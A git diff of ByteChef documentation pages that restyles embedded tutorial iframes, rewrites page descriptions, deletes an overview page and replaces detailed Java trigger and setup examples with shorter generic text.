@@ -16,7 +16,7 @@ is performing and explore the details of each execution.
 6. Deployment - filter by deployment
 7. Workflow - filter by workflow
 
-<div style={{ position: 'relative', height: 0, width: '100%', overflow: 'hidden', zindex: 49, boxSizing: 'border-box', paddingBottom: 'calc(53.02672956% + 32px)' }}>
+<div style={{ position: 'relative', height: 0, width: '100%', overflow: 'hidden', zIndex: 99999, boxSizing: 'border-box', paddingBottom: 'calc(53.02672956% + 32px)' }}>
   <iframe src="https://www.guidejar.com/embed/d14eee2a-33d6-4693-a807-c4fecbcfd189?type=1&controls=on" width="100%" height="100%" style={{ height: '100%', position: 'absolute', inset: 0 }} allowFullScreen frameBorder="0"></iframe>
 </div>
 
@@ -25,7 +25,7 @@ is performing and explore the details of each execution.
 1. Click on the desired execution to view its details.
 2. In the newly opened panel, you can inspect the input and output of each workflow component.
 
-<div style={{ position: 'relative', height: 0, width: '100%', overflow: 'hidden', zindex: 49, boxSizing: 'border-box', paddingBottom: 'calc(53.02672956% + 32px)' }}>
+<div style={{ position: 'relative', height: 0, width: '100%', overflow: 'hidden', zIndex: 99999, boxSizing: 'border-box', paddingBottom: 'calc(53.02672956% + 32px)' }}>
     <iframe src="https://www.guidejar.com/embed/984520e1-ff7a-41b9-ac65-2a14a96ec7b2?type=1&controls=on" width="100%" height="100%" style={{ height: '100%', position: 'absolute', inset: 0 }} allowFullScreen frameBorder="0"></iframe>
 </div>
 
@@ -35,6 +35,6 @@ is performing and explore the details of each execution.
 2. In the newly opened panel, you can inspect the input and output of each workflow component.
 3. If the execution fails, you’ll see which component encountered the error, along with a detailed message explaining what went wrong.
 
-<div style={{ position: 'relative', height: 0, width: '100%', overflow: 'hidden', zindex: 49, boxSizing: 'border-box', paddingBottom: 'calc(53.02672956% + 32px)' }}>
+<div style={{ position: 'relative', height: 0, width: '100%', overflow: 'hidden', zIndex: 99999, boxSizing: 'border-box', paddingBottom: 'calc(53.02672956% + 32px)' }}>
     <iframe src="https://www.guidejar.com/embed/59a3fe78-0bb5-4c1e-98c9-fcebb845651e?type=1&controls=on" width="100%" height="100%" style={{ height: '100%', position: 'absolute', inset: 0 }} allowFullScreen frameBorder="0"></iframe>
-</div>
+</div>
\ No newline at end of file
diff --git a/docs/content/docs/automation/overview.mdx b/docs/content/docs/automation/overview.mdx
deleted file mode 100644
index 94ed8f385de..00000000000
--- a/docs/content/docs/automation/overview.mdx
+++ /dev/null
@@ -1,54 +0,0 @@
----
-title: Introduction
-description: Learn the basics of ByteChef Automation and how to create your first workflow.
----
-
-import {Callout} from "fumadocs-ui/components/callout";
-
-## What is ByteChef Automation?
-
-ByteChef Automation allows you to easily build and run smart workflows that connect your apps, automate routine tasks,
-and include AI-driven decisions—all without heavy coding. This guide will help you understand the basics and get started
-with creating your first workflow.
-
-It enables you to:
-
-- Connect different applications and services together
-- Automate repetitive tasks and business processes
-- Create workflows with conditional logic and data transformations
-- Integrate AI capabilities into your automation processes
-- Build complex integrations with a visual, no-code interface
-
-## Key Concepts
-
-Before diving into creating workflows, it's helpful to understand some key concepts. Check them in the [Glossary](/automation/glossary).
-
-## Creating Your First Workflows
-
-Follow these steps to create your first workflows in ByteChef Automation:
-
-<Callout title="Quick Start Guides">
-  For step-by-step tutorials with specific examples, check out our Quick Start guides:
-  - [Star a Repository on GitHub](/automation/quick-start/star-repository-on-github)
-  - [Configure workflow trigger](/automation/quick-start/configure-workflow-trigger)
-</Callout>
-
-
-## Best Practices
-
-To get the most out of ByteChef Automation, consider these best practices:
-
-- **Start Simple**: Begin with basic workflows and gradually add complexity
-- **Test Thoroughly**: Test your workflows with different inputs to ensure they work as expected
-- **Use Descriptive Names**: Give your projects, workflows, and connections clear, descriptive names
-- **Document Your Workflows**: Add descriptions to help others understand your automation
-- **Reuse Connections**: Create connections that can be reused across multiple workflows
-
-## Next Steps
-
-Once you're comfortable with the basics, you can:
-
-- Explore more advanced workflow features like conditional logic and loops
-- Connect multiple components to create complex automation processes
-- Integrate AI capabilities into your workflows
-- Learn about error handling and debugging techniques
diff --git a/docs/content/docs/automation/quick-start/configure-workflow-trigger.mdx b/docs/content/docs/automation/quick-start/configure-workflow-trigger.mdx
index 164849410d0..3d4a55fdcea 100644
--- a/docs/content/docs/automation/quick-start/configure-workflow-trigger.mdx
+++ b/docs/content/docs/automation/quick-start/configure-workflow-trigger.mdx
@@ -1,6 +1,6 @@
 ---
+description: "Configure Workflow Trigger in ByteChef. Learn to create workflows with triggers, actions, and deploy automations."
 title: Configure Workflow Trigger
-description: Learn how to create and configure a workflow with a trigger in ByteChef.
 ---
 
 In this guide, you will learn how to create a workflow in ByteChef and configure it with a trigger. We will walk you
@@ -16,7 +16,7 @@ component, publish the project, create a deployment, and monitor the workflow ex
 3. Enter a label for your workflow and optionally provide a description.
 4. Click **Save**.
 
-<div style={{ position: 'relative', height: 0, width: '100%', overflow: 'hidden', zindex: 49, boxSizing: 'border-box', paddingBottom: 'calc(53.02672956% + 32px)' }}>
+<div style={{ position: 'relative', height: 0, width: '100%', overflow: 'hidden', zIndex: 99999, boxSizing: 'border-box', paddingBottom: 'calc(53.02672956% + 32px)' }}>
   <iframe src="https://www.guidejar.com/embed/UjYJ9Dz6TUre3mXPFgEt?type=1&controls=on" width="100%" height="100%" style={{ height: '100%', position: 'absolute', inset: 0 }} allowFullScreen frameBorder="0"></iframe>
 </div>
 
@@ -38,7 +38,7 @@ component, publish the project, create a deployment, and monitor the workflow ex
 13. Go to the **Properties** tab.
 14. For **Calendar Identifier**, select the calendar you want to monitor.
 
-<div style={{ position: 'relative', height: 0, width: '100%', overflow: 'hidden', zindex: 49, boxSizing: 'border-box', paddingBottom: 'calc(53.02672956% + 32px)' }}>
+<div style={{ position: 'relative', height: 0, width: '100%', overflow: 'hidden', zIndex: 99999, boxSizing: 'border-box', paddingBottom: 'calc(53.02672956% + 32px)' }}>
 <iframe src="https://www.guidejar.com/embed/7hcdEZScz1LPEMFqtbiJ?type=1&controls=on" width="100%" height="100%" style={{ height: '100%', position: 'absolute', inset: 0 }} allowFullScreen frameBorder="0"></iframe>
 </div>
 
@@ -55,7 +55,7 @@ component, publish the project, create a deployment, and monitor the workflow ex
 9. For **Model**, choose the desired model (e.g., `gpt-4`).
 11. For **Prompt**, enter the prompt text, such as `Desribe this event:`.
 
-<div style={{ position: 'relative', height: 0, width: '100%', overflow: 'hidden', zindex: 49, boxSizing: 'border-box', paddingBottom: 'calc(53.02672956% + 32px)' }}>
+<div style={{ position: 'relative', height: 0, width: '100%', overflow: 'hidden', zIndex: 99999, boxSizing: 'border-box', paddingBottom: 'calc(53.02672956% + 32px)' }}>
 <iframe src="https://www.guidejar.com/embed/DJY0kLqoCFX1cci6molN?type=1&controls=on" width="100%" height="100%" style={{ height: '100%', position: 'absolute', inset: 0 }} allowFullScreen frameBorder="0"></iframe>
 </div>
 
@@ -67,7 +67,7 @@ component, publish the project, create a deployment, and monitor the workflow ex
 3. Click on **trigger_1**, which is the output of the trigger for the Google Calendar component.
 4. Output of Google Calendar trigger is now inserted into the content field.
 
-<div style={{ position: 'relative', height: 0, width: '100%', overflow: 'hidden', zindex: 49, boxSizing: 'border-box', paddingBottom: 'calc(53.02672956% + 32px)' }}>
+<div style={{ position: 'relative', height: 0, width: '100%', overflow: 'hidden', zIndex: 99999, boxSizing: 'border-box', paddingBottom: 'calc(53.02672956% + 32px)' }}>
 <iframe src="https://www.guidejar.com/embed/OouHIYrdrN4TIUSyyhGw?type=1&controls=on" width="100%" height="100%" style={{ height: '100%', position: 'absolute', inset: 0 }} allowFullScreen frameBorder="0"></iframe>
 </div>
 
@@ -86,7 +86,7 @@ component, publish the project, create a deployment, and monitor the workflow ex
 11. Enable the deployment. Your workflow will now run whenever a new or updated event is detected in your Google
     Calendar.
 
-<div style={{ position: 'relative', height: 0, width: '100%', overflow: 'hidden', zindex: 49, boxSizing: 'border-box', paddingBottom: 'calc(53.02672956% + 32px)' }}>
+<div style={{ position: 'relative', height: 0, width: '100%', overflow: 'hidden', zIndex: 99999, boxSizing: 'border-box', paddingBottom: 'calc(53.02672956% + 32px)' }}>
 <iframe src="https://www.guidejar.com/embed/ua8BPgHqcndU62z7A4QV?type=1&controls=on" width="100%" height="100%" style={{ height: '100%', position: 'absolute', inset: 0 }} allowFullScreen frameBorder="0"></iframe>
 </div>
 
@@ -98,7 +98,7 @@ component, publish the project, create a deployment, and monitor the workflow ex
    the Ask action.
 4. Click on the icon to view the entire output.
 
-<div style={{ position: 'relative', height: 0, width: '100%', overflow: 'hidden', zindex: 49, boxSizing: 'border-box', paddingBottom: 'calc(53.02672956% + 32px)' }}>
+<div style={{ position: 'relative', height: 0, width: '100%', overflow: 'hidden', zIndex: 99999, boxSizing: 'border-box', paddingBottom: 'calc(53.02672956% + 32px)' }}>
 <iframe src="https://www.guidejar.com/embed/HUIB9dVjnNfEYp0DH60i?type=1&controls=on" width="100%" height="100%" style={{ height: '100%', position: 'absolute', inset: 0 }} allowFullScreen frameBorder="0"></iframe>
 </div>
 
@@ -133,7 +133,7 @@ component, publish the project, create a deployment, and monitor the workflow ex
 25. Click on the client you just created.
 26. Copy the **Client ID** and **Client Secret**. Use these credentials to create a connection in ByteChef.
 
-<div style={{ position: 'relative', height: 0, width: '100%', overflow: 'hidden', zindex: 49, boxSizing: 'border-box', paddingBottom: 'calc(53.02672956% + 32px)' }}>
+<div style={{ position: 'relative', height: 0, width: '100%', overflow: 'hidden', zIndex: 99999, boxSizing: 'border-box', paddingBottom: 'calc(53.02672956% + 32px)' }}>
 <iframe src="https://www.guidejar.com/embed/fec74020-26bb-43dd-814c-f8b907f6f45b?type=1&controls=on" width="100%" height="100%" style={{ height: '100%', position: 'absolute', inset: 0 }} allowFullScreen frameBorder="0"></iframe>
 </div>
 
@@ -146,7 +146,7 @@ component, publish the project, create a deployment, and monitor the workflow ex
 5. Click on **Google Calendar API**.
 6. Click **Enable**.
 
-<div style={{ position: 'relative', height: 0, width: '100%', overflow: 'hidden', zindex: 49, boxSizing: 'border-box', paddingBottom: 'calc(53.02672956% + 32px)' }}>
+<div style={{ position: 'relative', height: 0, width: '100%', overflow: 'hidden', zIndex: 99999, boxSizing: 'border-box', paddingBottom: 'calc(53.02672956% + 32px)' }}>
 <iframe src="https://www.guidejar.com/embed/c1fe8158-a72f-45ed-942e-c1bab5802afa?type=1&controls=on" width="100%" height="100%" style={{ height: '100%', position: 'absolute', inset: 0 }} allowFullScreen frameBorder="0"></iframe>
 </div>
 
@@ -158,6 +158,6 @@ component, publish the project, create a deployment, and monitor the workflow ex
 4. Enter a name and select the project for the key and click **Create secret key**.
 5. Copy the API key and use it to create a connection in ByteChef.
 
-<div style={{ position: 'relative', height: 0, width: '100%', overflow: 'hidden', zindex: 49, boxSizing: 'border-box', paddingBottom: 'calc(53.02672956% + 32px)' }}>
+<div style={{ position: 'relative', height: 0, width: '100%', overflow: 'hidden', zIndex: 99999, boxSizing: 'border-box', paddingBottom: 'calc(53.02672956% + 32px)' }}>
 <iframe src="https://www.guidejar.com/embed/coPV2tDXMJmcpVHubS0J?type=1&controls=on" width="100%" height="100%" style={{ height: '100%', position: 'absolute', inset: 0 }} allowFullScreen frameBorder="0"></iframe>
-</div>
+</div>
\ No newline at end of file
diff --git a/docs/content/docs/automation/quick-start/star-repository-on-github.mdx b/docs/content/docs/automation/quick-start/star-repository-on-github.mdx
index 1d2868b9847..9b76690e4a4 100644
--- a/docs/content/docs/automation/quick-start/star-repository-on-github.mdx
+++ b/docs/content/docs/automation/quick-start/star-repository-on-github.mdx
@@ -1,6 +1,6 @@
 ---
+description: "Star Repository on GitHub with ByteChef. Learn to automate starring repositories by integrating GitHub workflows."
 title: Star Repository on GitHub
-description: Learn how to connect your GitHub account to ByteChef and star a repository.
 ---
 
 In this guide, you will learn how to seamlessly integrate your GitHub account with ByteChef to automate the process of starring a repository. We will walk you through creating a project in ByteChef, setting up a workflow, and running it to achieve your goal.
@@ -12,7 +12,7 @@ In this guide, you will learn how to seamlessly integrate your GitHub account wi
 3. Enter a project name. Optionally, add a description, select a category, and include relevant tags.
 4. Click **Save**.
 
-<div style={{ position: 'relative', height: 0, width: '100%', overflow: 'hidden', zindex: 49, boxSizing: 'border-box', paddingBottom: 'calc(53.02672956% + 32px)' }}>
+<div style={{ position: 'relative', height: 0, width: '100%', overflow: 'hidden', zIndex: 99999, boxSizing: 'border-box', paddingBottom: 'calc(53.02672956% + 32px)' }}>
 <iframe src="https://www.guidejar.com/embed/gMtlYa5JKNmHvwAIsNtp?type=1&controls=on" width="100%" height="100%" style={{ height: '100%', position: 'absolute', inset: 0 }} allowFullScreen frameBorder="0"></iframe>
 </div>
 
@@ -23,7 +23,7 @@ In this guide, you will learn how to seamlessly integrate your GitHub account wi
 3. Enter a label for your workflow and optionally provide a description.
 4. Click **Save**.
 
-<div style={{ position: 'relative', height: 0, width: '100%', overflow: 'hidden', zindex: 49, boxSizing: 'border-box', paddingBottom: 'calc(53.02672956% + 32px)' }}>
+<div style={{ position: 'relative', height: 0, width: '100%', overflow: 'hidden', zIndex: 99999, boxSizing: 'border-box', paddingBottom: 'calc(53.02672956% + 32px)' }}>
 <iframe src="https://www.guidejar.com/embed/UjYJ9Dz6TUre3mXPFgEt?type=1&controls=on" width="100%" height="100%" style={{ height: '100%', position: 'absolute', inset: 0 }} allowFullScreen frameBorder="0"></iframe>
 </div>
 
@@ -44,7 +44,7 @@ In this guide, you will learn how to seamlessly integrate your GitHub account wi
 13. For **Owner**, enter the repository owner's name (e.g., `bytechefhq`).
 14. For **Repository**, enter the repository name (e.g., `bytechef`).
 
-<div style={{ position: 'relative', height: 0, width: '100%', overflow: 'hidden', zindex: 49, boxSizing: 'border-box', paddingBottom: 'calc(53.02672956% + 32px)' }}>
+<div style={{ position: 'relative', height: 0, width: '100%', overflow: 'hidden', zIndex: 99999, boxSizing: 'border-box', paddingBottom: 'calc(53.02672956% + 32px)' }}>
 <iframe src="https://www.guidejar.com/embed/0J48BzwQXALJeJlvypy1?type=1&controls=on" width="100%" height="100%" style={{ height: '100%', position: 'absolute', inset: 0 }} allowFullScreen frameBorder="0"></iframe>
 </div>
 
@@ -53,7 +53,7 @@ In this guide, you will learn how to seamlessly integrate your GitHub account wi
 1. Click **Test** to execute the workflow. The repository will be starred.
 2. Verify by checking the **Stars** tab in your GitHub account to see the newly starred repository.
 
-<div style={{ position: 'relative', height: 0, width: '100%', overflow: 'hidden', zindex: 49, boxSizing: 'border-box', paddingBottom: 'calc(53.02672956% + 32px)' }}>
+<div style={{ position: 'relative', height: 0, width: '100%', overflow: 'hidden', zIndex: 99999, boxSizing: 'border-box', paddingBottom: 'calc(53.02672956% + 32px)' }}>
 <iframe src="https://www.guidejar.com/embed/u1ps6awfOoKVN8gbublE?type=1&controls=on" width="100%" height="100%" style={{ height: '100%', position: 'absolute', inset: 0 }} allowFullScreen frameBorder="0"></iframe>
 </div>
 
@@ -75,6 +75,6 @@ In this guide, you will learn how to seamlessly integrate your GitHub account wi
 9. Click on **Generate a new client secret**.
 10. Copy the **Client ID** and **Client Secret** for later use.
 
-<div style={{ position: 'relative', height: 0, width: '100%', overflow: 'hidden', zindex: 49, boxSizing: 'border-box', paddingBottom: 'calc(53.02672956% + 32px)' }}>
+<div style={{ position: 'relative', height: 0, width: '100%', overflow: 'hidden', zIndex: 99999, boxSizing: 'border-box', paddingBottom: 'calc(53.02672956% + 32px)' }}>
 <iframe src="https://www.guidejar.com/embed/bhsAUb5TGIexsFuLBica?type=1&controls=on" width="100%" height="100%" style={{ height: '100%', position: 'absolute', inset: 0 }} allowFullScreen frameBorder="0"></iframe>
-</div>
+</div>
\ No newline at end of file
diff --git a/docs/content/docs/developer-guide/build-component/add-connection.mdx b/docs/content/docs/developer-guide/build-component/add-connection.mdx
index b435ed42a45..679fd871b75 100644
--- a/docs/content/docs/developer-guide/build-component/add-connection.mdx
+++ b/docs/content/docs/developer-guide/build-component/add-connection.mdx
@@ -1,10 +1,8 @@
 ---
-title: "Add Connection"
-description: "How to create connection for a component."
+description: "Learn how to add authentication and connections to components. Learn how to implement this in your ByteChef workflows."
+title: Add Connection
 ---
 
-## Add Connection [toc]
-
 In the `server/libs/modules/components/newcomponent/src/main/java/com/bytechef/component/newcomponent/connection`
 package, the `NewComponentConnection` class defines the connection. The `CONNECTION_DEFINITION` constant contains all
 the details about the connection, including its base URI, authorizations, properties, and more.
@@ -35,4 +33,4 @@ public static final ModifiableConnectionDefinition CONNECTION_DEFINITION = conne
 
 If another type of authorization is used, such as Basic or API Key, you can define it in the `authorizations` method
 of the `CONNECTION_DEFINITION` constant. For more information, refer to the
-[connection documentation](/developer-guide/component-specification/connection).
+[connection documentation](/developer-guide/component-specification/connection).
\ No newline at end of file
diff --git a/docs/content/docs/developer-guide/build-component/create-action.mdx b/docs/content/docs/developer-guide/build-component/create-action.mdx
index de7739dddcd..4671ce53a11 100644
--- a/docs/content/docs/developer-guide/build-component/create-action.mdx
+++ b/docs/content/docs/developer-guide/build-component/create-action.mdx
@@ -1,6 +1,6 @@
 ---
-title: "Create Action"
-description: "How to create an action for a component."
+description: "Learn how to create actions for ByteChef components. Learn how to implement this in your ByteChef workflows."
+title: Create Action
 ---
 
 ## Create Action [toc]
@@ -35,4 +35,4 @@ public static String perform(Parameters inputParameters, Parameters connectionPa
     }
 ```
 
-For more information about any method in the `ACTION_DEFINITION`, refer to the [action documentation](/developer-guide/component-specification/action).
+For more information about any method in the `ACTION_DEFINITION`, refer to the [action documentation](/developer-guide/component-specification/action).
\ No newline at end of file
diff --git a/docs/content/docs/developer-guide/build-component/create-component-definition.mdx b/docs/content/docs/developer-guide/build-component/create-component-definition.mdx
index 0438211dd5a..882c136551f 100644
--- a/docs/content/docs/developer-guide/build-component/create-component-definition.mdx
+++ b/docs/content/docs/developer-guide/build-component/create-component-definition.mdx
@@ -1,6 +1,6 @@
 ---
-title: "Create Component Definition"
-description: "How to create a new component definition."
+description: "Create component definitions in ByteChef. Define structure. Learn how to implement this in your ByteChef workflows."
+title: Create Component Definition
 ---
 
 In `server/libs/modules/components/newcomponent/src/main/java/com/bytechef/component/newcomponent` package, the
@@ -22,4 +22,4 @@ private static final ComponentDefinition COMPONENT_DEFINITION = component("newCo
 
 Find and download a user interface icon in .svg format for your component and place it in `server/libs/modules/components/newcomponent/src/main/resources/assets/newcomponent.svg`
 
-For more information about any method in the `COMPONENT_DEFINITION`, refer to the [component documentation](/developer-guide/component-specification/component).
+For more information about any method in the `COMPONENT_DEFINITION`, refer to the [component documentation](/developer-guide/component-specification/component).
\ No newline at end of file
diff --git a/docs/content/docs/developer-guide/build-component/create-trigger.mdx b/docs/content/docs/developer-guide/build-component/create-trigger.mdx
index c4d84aae1f0..14172ea2008 100644
--- a/docs/content/docs/developer-guide/build-component/create-trigger.mdx
+++ b/docs/content/docs/developer-guide/build-component/create-trigger.mdx
@@ -1,125 +1,22 @@
 ---
-title: "Create Trigger"
-description: "How to create a trigger for a component."
+description: "Learn how to create triggers for ByteChef components. This guide covers trigger development best practices and implementation."
+title: Create Trigger
 ---
 
-## Create Trigger [toc]
+Triggers are the starting points for workflows in ByteChef. They initiate workflow execution based on specific events or conditions.
 
-In `server/libs/modules/components/newcomponent/src/main/java/com/bytechef/component/newcomponent/trigger` package, the
-`NewComponentDummyTrigger` class defines the trigger. The `TRIGGER_DEFINITION` constant contains all the details about
-the trigger, including its name, title, description, properties and others.
+## Trigger Types
 
-### Polling Trigger Example
+- **Webhook Triggers**: Trigger workflows via HTTP requests
+- **Scheduled Triggers**: Run workflows at specific times or intervals
+- **Polling Triggers**: Check external services for new data
+- **Event Triggers**: Respond to specific events in connected systems
 
-Polling triggers regularly check a data source for changes. You must implement the `poll` method.
+## Creating a Trigger
 
-```java
-public static final ModifiableTriggerDefinition TRIGGER_DEFINITION = trigger("dummyTrigger")
-    .title("Dummy Trigger")
-    .description("Polls a dummy API for new data.")
-    .type(TriggerType.POLLING)
-    .output(outputSchema(string()))
-    .poll(NewComponentDummyTrigger::poll);
+1. Define the trigger configuration
+2. Implement the trigger logic
+3. Handle incoming data
+4. Test your trigger
 
-protected static PollOutput poll(
-    Parameters inputParameters, Parameters connectionParameters, Parameters closureParameters,
-    TriggerContext triggerContext) {
-
-    // Implementation logic to fetch data and determine what is new
-    // ...
-
-    return new PollOutput(newRecords, closureParameters, false);
-}
-```
-
-### Dynamic Webhook Trigger Example
-
-Dynamic webhooks require registering a URL with a third-party service. You must implement `webhookEnable`, `webhookDisable`, and `webhookRequest`.
-
-```java
-public static final ModifiableTriggerDefinition TRIGGER_DEFINITION = trigger("dummyTrigger")
-    .title("Dummy Trigger")
-    .description("Triggers on a dynamic URL.")
-    .type(TriggerType.DYNAMIC_WEBHOOK)
-    .output(outputSchema(string()))
-    .webhookEnable(NewComponentDummyTrigger::webhookEnable)
-    .webhookDisable(NewComponentDummyTrigger::webhookDisable)
-    .webhookRequest(NewComponentDummyTrigger::webhookRequest);
-
-protected static WebhookEnableOutput webhookEnable(
-    Parameters inputParameters, Parameters connectionParameters, String webhookUrl,
-    String workflowExecutionId, TriggerContext triggerContext) {
-
-    // Logic to register webhookUrl with the third-party API
-    return new WebhookEnableOutput(Map.of(), null);
-}
-
-protected static void webhookDisable(
-    Parameters inputParameters, Parameters connectionParameters, Parameters outputParameters,
-    String workflowExecutionId, TriggerContext triggerContext) {
-
-    // Logic to unregister the webhook using the ID stored during enable
-}
-
-protected static Object webhookRequest(
-    Parameters inputParameters, Parameters connectionParameters, HttpHeaders headers,
-    HttpParameters parameters, WebhookBody body, WebhookMethod method,
-    Parameters output, TriggerContext triggerContext) {
-
-    // Logic to process the incoming webhook request body
-    return body.getContent();
-}
-```
-
-### Static Webhook Trigger Example
-
-Static webhooks use a fixed URL and only require the `webhookRequest` method to be implemented.
-
-```java
-public static final ModifiableTriggerDefinition TRIGGER_DEFINITION = trigger("dummyTrigger")
-    .title("Dummy Trigger")
-    .description("Triggers on a fixed URL.")
-    .type(TriggerType.STATIC_WEBHOOK)
-    .output(outputSchema(string()))
-    .webhookRequest(NewComponentDummyTrigger::webhookRequest);
-
-protected static Map<String, Object> webhookRequest(
-    Parameters inputParameters, Parameters connectionParameters, HttpHeaders headers,
-    HttpParameters parameters, WebhookBody body, WebhookMethod method,
-    Parameters output, TriggerContext context) {
-
-    return body.getContent(new TypeReference<>() {});
-}
-```
-
-### Listener Trigger Example
-
-Listener triggers stay active and wait for events (e.g., from a message queue). You must implement `listenerEnable` and `listenerDisable`.
-
-```java
-public static final ModifiableTriggerDefinition TRIGGER_DEFINITION = trigger("dummyTrigger")
-    .title("Dummy Trigger")
-    .description("Triggers on a message queue.")
-    .type(TriggerType.LISTENER)
-    .output(outputSchema(string()))
-    .listenerEnable(NewComponentDummyTrigger::listenerEnable)
-    .listenerDisable(NewComponentDummyTrigger::listenerDisable);
-
-protected static void listenerEnable(
-    Parameters inputParameters, Parameters connectionParameters, String workflowExecutionId,
-    ListenerEmitter listenerEmitter, TriggerContext context) {
-
-    // Logic to start listening (e.g., connect to message broker and set up callback)
-    // When a message arrives:
-    // listenerEmitter.emit(data);
-}
-
-protected static void listenerDisable(
-    Parameters inputParameters, Parameters connectionParameters, String workflowExecutionId,
-    TriggerContext context) {
-
-    // Logic to stop listening and close connections
-}
-```
-
-For more information about any method in the `TRIGGER_DEFINITION`, refer to the [trigger documentation](/developer-guide/component-specification/trigger).
+For detailed examples and best practices, refer to the component development documentation.
diff --git a/docs/content/docs/developer-guide/build-component/initial-setup.mdx b/docs/content/docs/developer-guide/build-component/initial-setup.mdx
index b06e3f3bed5..f3f40f61683 100644
--- a/docs/content/docs/developer-guide/build-component/initial-setup.mdx
+++ b/docs/content/docs/developer-guide/build-component/initial-setup.mdx
@@ -1,20 +1,24 @@
 ---
-title: "Initial Setup"
-description: "Learn how to create a new component"
+description: "Initial setup guide for building ByteChef components. Learn how to set up your development environment and create custom components."
+title: Initial Setup
 ---
 
-To create a new component, we will use the `example` component as a template.
+This guide will help you set up your development environment to build custom ByteChef components.
 
-1. **Copy the example component** from `server/libs/modules/components/example` into a new package `server/libs/modules/components/newcomponent`, where `newcomponent` is the name of your new component.
-2. **Update Settings**:
-   - Open `bytechef/settings.gradle.kts`.
-   - Add the following line to include your new component in the build process:
-     ```kotlin
-     include("server:libs:modules:components:newcomponent")
-     ```
-3. **Load Gradle Changes**:
-   - Refresh or reload the Gradle project in IntelliJ IDEA.
-   - This step ensures that IntelliJ recognizes your new component as a Java module, allowing you to work with it seamlessly within the IDE.
-4. **Rename Package and Classes**:
-   - Inside the newly created package, rename the `example` subpackage to `newcomponent`.
-   - Additionally, rename all classes within this package that start with `Example` to start with `NewComponent`.
+## Prerequisites
+
+- Node.js 18 or higher
+- npm or yarn
+- Git
+- Basic knowledge of JavaScript/TypeScript
+
+## Getting Started
+
+Follow these steps to get started with component development:
+
+1. Clone the ByteChef repository
+2. Install dependencies
+3. Set up your development environment
+4. Create your first component
+
+For detailed instructions, refer to the complete developer guide.
diff --git a/docs/content/docs/developer-guide/build-component/write-tests.mdx b/docs/content/docs/developer-guide/build-component/write-tests.mdx
index 3d7bbc9df10..24008b683fe 100644
--- a/docs/content/docs/developer-guide/build-component/write-tests.mdx
+++ b/docs/content/docs/developer-guide/build-component/write-tests.mdx
@@ -1,6 +1,6 @@
 ---
-title: "Write Tests"
-description: "How to write tests for your component."
+description: "Write tests for ByteChef components. Learn testing best practices. Learn how to implement this in your ByteChef workflows."
+title: Write Tests
 ---
 
 ## Overview
@@ -84,4 +84,4 @@ Remember:
 If you change your component definition, remember to update the snapshot JSON:
 
 - Delete `src/test/resources/definition/<component>_v<version>.json`
-- Re-run the Component Handler Test to regenerate
+- Re-run the Component Handler Test to regenerate
\ No newline at end of file
diff --git a/docs/content/docs/developer-guide/component-specification/action.mdx b/docs/content/docs/developer-guide/component-specification/action.mdx
index 7cedc064742..15ac467a356 100644
--- a/docs/content/docs/developer-guide/component-specification/action.mdx
+++ b/docs/content/docs/developer-guide/component-specification/action.mdx
@@ -1,9 +1,8 @@
 ---
 title: "Action"
+description: "Learn action specifications for ByteChef components. Understand how to define actions that components can perform in workflows."
 ---
 
-## Action [toc]
-
 The action definition is used to specify the behavior and UI of an action inside a component. Below is an explanation of each method that can be used in the action definition:
 
 - `action(String name)` - Builds a new `ModifiableActionDefinition` with the specified backend ID. The name is the action ID used internally and in workflow JSON.
diff --git a/docs/content/docs/developer-guide/component-specification/component.mdx b/docs/content/docs/developer-guide/component-specification/component.mdx
index 7529a92d1c4..aa27865b680 100644
--- a/docs/content/docs/developer-guide/component-specification/component.mdx
+++ b/docs/content/docs/developer-guide/component-specification/component.mdx
@@ -1,9 +1,8 @@
 ---
-title: "Component"
+description: "Understand component specifications in ByteChef. Learn how to implement this in your ByteChef workflows."
+title: Component
 ---
 
-## Component [toc]
-
 The component definition describes a reusable integration component (its metadata, actions, triggers, and optional connection). Below is an explanation of each method you can use when building a component with the DSL:
 
 - `component(String name)` - Builds a new `ModifiableComponentDefinition` with the specified backend ID. The name is the component ID used internally and in workflow JSON.
@@ -29,4 +28,4 @@ private static final ComponentDefinition COMPONENT_DEFINITION = component("textH
         .icon("path:assets/text-helper.svg")
         .categories(ComponentCategory.HELPERS)
         .actions(TextHelperUpperCaseAction.ACTION_DEFINITION);
-```
+```
\ No newline at end of file
diff --git a/docs/content/docs/developer-guide/component-specification/connection.mdx b/docs/content/docs/developer-guide/component-specification/connection.mdx
index 1d440f33d02..6e08bf33303 100644
--- a/docs/content/docs/developer-guide/component-specification/connection.mdx
+++ b/docs/content/docs/developer-guide/component-specification/connection.mdx
@@ -1,9 +1,8 @@
 ---
-title: "Connection"
+description: "Learn connection specifications in ByteChef. Learn how to implement this in your ByteChef workflows."
+title: Connection
 ---
 
-## Connection [toc]
-
 The connection definition configures how a component authenticates to external systems. Below is an explanation of each method available on the connection DSL:
 
 - `connection()` - Builds a new `ModifiableConnectionDefinition` used inside a component.
@@ -84,4 +83,4 @@ authorization(AuthorizationType.OAUTH2_AUTHORIZATION_CODE)
     .scopes((connection, context) -> List.of("scope1", "scope2"))
     .tokenUrl((connectionParameters, context) -> "token url")
     .refreshUrl((connectionParameters, context) -> "refresh url")
-```
+```
\ No newline at end of file
diff --git a/docs/content/docs/developer-guide/component-specification/property.mdx b/docs/content/docs/developer-guide/component-specification/property.mdx
index 24d60470826..110e5f399ba 100644
--- a/docs/content/docs/developer-guide/component-specification/property.mdx
+++ b/docs/content/docs/developer-guide/component-specification/property.mdx
@@ -1,5 +1,6 @@
 ---
-title: "Property"
+description: "Learn property specifications for ByteChef components. Learn how to implement this in your ByteChef workflows."
+title: Property
 ---
 
 ### Array Property
@@ -112,7 +113,6 @@ The `ModifiableStringProperty` class is a customizable property type designed to
 - `options(Option<String>... options)`- Specifies a list of options for the property.
 - `options(List<? extends Option<String>> options)`- Sets a list of options for the property.
 - `options(OptionsFunction optionsFunction)`- Defines a function to dynamically generate options.
-- `regex(String regex)`- Defines a regular expression that will be used on the string value.
 
 ### Time Property
 
@@ -124,4 +124,4 @@ The `ModifiableTimeProperty` class is a customizable property type designed to h
 - `optionsLookupDependsOn(String... optionsLookupDependsOn)`- Defines dependencies for option lookups.
 - `options(Option<LocalTime>... options)`- Specifies a list of options for the property.
 - `options(List<? extends Option<LocalTime>> options)`- Sets a list of options for the property.
-- `options(OptionsFunction optionsFunction)`- Defines a function to dynamically generate options.
+- `options(OptionsFunction optionsFunction)`- Defines a function to dynamically generate options.
\ No newline at end of file
diff --git a/docs/content/docs/developer-guide/component-specification/trigger.mdx b/docs/content/docs/developer-guide/component-specification/trigger.mdx
index 6773b50ea80..1e4afe2c1fe 100644
